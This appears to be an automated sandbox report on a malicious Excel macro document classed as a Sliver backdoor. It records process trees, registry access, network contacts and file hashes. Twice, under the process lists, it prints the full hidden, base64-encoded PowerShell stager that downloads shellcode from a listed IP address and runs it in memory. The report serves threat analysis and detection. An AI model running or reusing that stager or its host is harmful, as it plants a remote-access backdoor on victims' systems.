Malware Analysis Report

2024-11-15 05:22

Sample ID 241110-z2xx4avfll
Target dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578
SHA256 dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578
Tags
macro macro_on_action sliver backdoor discovery execution trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578

Threat Level: Known bad

The file dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action sliver backdoor discovery execution trojan

Sliver family

Sliver RAT v2

Process spawned unexpected child process

SliverRAT

Office macro that triggers on suspicious action

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of SetWindowsHookEx

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-10 21:13

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-10 21:13

Reported

2024-11-10 21:14

Platform

win7-20241010-en

Max time kernel

17s

Max time network

22s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Sliver RAT v2

Description Indicator Process Target
N/A N/A N/A N/A

Sliver family

sliver

SliverRAT

trojan backdoor sliver

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2772 wrote to memory of 2912 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2772 wrote to memory of 2912 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2772 wrote to memory of 2912 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2772 wrote to memory of 2912 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2912 wrote to memory of 2264 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2912 wrote to memory of 2264 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2912 wrote to memory of 2264 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2912 wrote to memory of 2264 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2264 wrote to memory of 2404 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2264 wrote to memory of 2404 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2264 wrote to memory of 2404 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2264 wrote to memory of 2404 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578.xls

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iyawhwys.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES66B0.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC66AF.tmp"

Network

Country Destination Domain Proto
CH 194.182.164.149:8080 194.182.164.149 tcp

Files

memory/2772-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2772-1-0x0000000072C4D000-0x0000000072C58000-memory.dmp

memory/2772-4-0x00000000006E0000-0x00000000007E0000-memory.dmp

memory/2772-9-0x00000000006E0000-0x00000000007E0000-memory.dmp

memory/2772-8-0x00000000006E0000-0x00000000007E0000-memory.dmp

memory/2772-3-0x00000000006E0000-0x00000000007E0000-memory.dmp

memory/2772-7-0x00000000006E0000-0x00000000007E0000-memory.dmp

memory/2772-6-0x00000000006E0000-0x00000000007E0000-memory.dmp

memory/2772-2-0x00000000006E0000-0x00000000007E0000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\iyawhwys.cmdline

MD5 25fdac6172317848ddfebc450c69fc15
SHA1 043c8fd5d8d7e6ce3d385f627daa1e826674cc60
SHA256 aec331331c00f3d36bc86c7889f2ad74215cb4fbbad6e3402a271bbd5b1d77ed
SHA512 fa209fd776ea613ed9d1b7ac2ac3356125e75fa914d004b39481c01ab2ebc2f95e587ee2c86250d9086a6f6f7d741c4d54639fc699effb7d21de3903246f6ae7

\??\c:\Users\Admin\AppData\Local\Temp\iyawhwys.0.cs

MD5 f4dd5c682eb7b3b679f084261bfc7c4c
SHA1 70f75d7a4e42c185eb09139ed3c6f7338a2219c2
SHA256 2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319
SHA512 8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

\??\c:\Users\Admin\AppData\Local\Temp\CSC66AF.tmp

MD5 4c9536c3067d8682ada3031f4e4b718a
SHA1 d5fc3eeb0b9b214f30db8d5ad82884ddbdf3aa85
SHA256 1329ff9064cdfbc2cd00fa5eb69c8d9edde7cb57e8b59004b58a92c82032b9db
SHA512 5f66dd39f7029ffc00c3859b681232401b058ffeaf9ffe175a51c64d948e37d4d58d69d41b6a23b239584669403f82d05c72ee4688394653f5557bf42e831a6e

C:\Users\Admin\AppData\Local\Temp\RES66B0.tmp

MD5 373d302e72f9abc3e0a31698a4ac0334
SHA1 df55252f1a7c48f727311d73551ab9481180374c
SHA256 1c50db23dc0d46417af7f1141996920d4919320284918262372034363956e3ce
SHA512 a60f486bffb61cd58c45371ed06b06461d133e47a2238651d33e51ab6e5e02465983719fc16b4f2e29643b9a42b97de8c166f5e4589e8d1145f460baddd3e7b1

C:\Users\Admin\AppData\Local\Temp\iyawhwys.dll

MD5 7bca858be3f173704f30629cac209ae4
SHA1 b94787362f5ae751b79e519759c948d28f1f1924
SHA256 09f4e153d7382c03948b31581b9a8abfa919bddc472d9b28fef91219b3e50eeb
SHA512 efc64a65299ac81725d5370028aac60d70f01456698b62b27db371f893f9bb5d8b063ea85809321126a40b0aaf9cd6d62557c33cde47230a55944e12166aea44

C:\Users\Admin\AppData\Local\Temp\iyawhwys.pdb

MD5 f49b2c7b1dcf2c693f81b2d0bdeecf05
SHA1 256eb6b3012a53a41b4c4b535f0b7fdec9488b3f
SHA256 5e04d94bf9ad58e4f3dd4c52ece04ed476ed31b8c2dd04a203b32ab0ff2cd95e
SHA512 4f3df1a270f076bc41f05f23574956d0b8dd3170a3f05c746d65e10d1cc0f7360073323efad82d14dac1836d0f616a22173ce2ce98e6192106cd9fc00624f9c0

memory/2772-27-0x0000000072C4D000-0x0000000072C58000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab7689.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

memory/2772-44-0x00000000006E0000-0x00000000007E0000-memory.dmp

memory/2912-46-0x0000000006360000-0x0000000006DDE000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-10 21:13

Reported

2024-11-10 21:14

Platform

win10v2004-20241007-en

Max time kernel

59s

Max time network

62s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Sliver RAT v2

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Sliver family

sliver

SliverRAT

trojan backdoor sliver

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578.xls"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4emgp0xc\4emgp0xc.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB6EC.tmp" "c:\Users\Admin\AppData\Local\Temp\4emgp0xc\CSC7F2A56726914495AAF805BBBE23A9249.TMP"

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
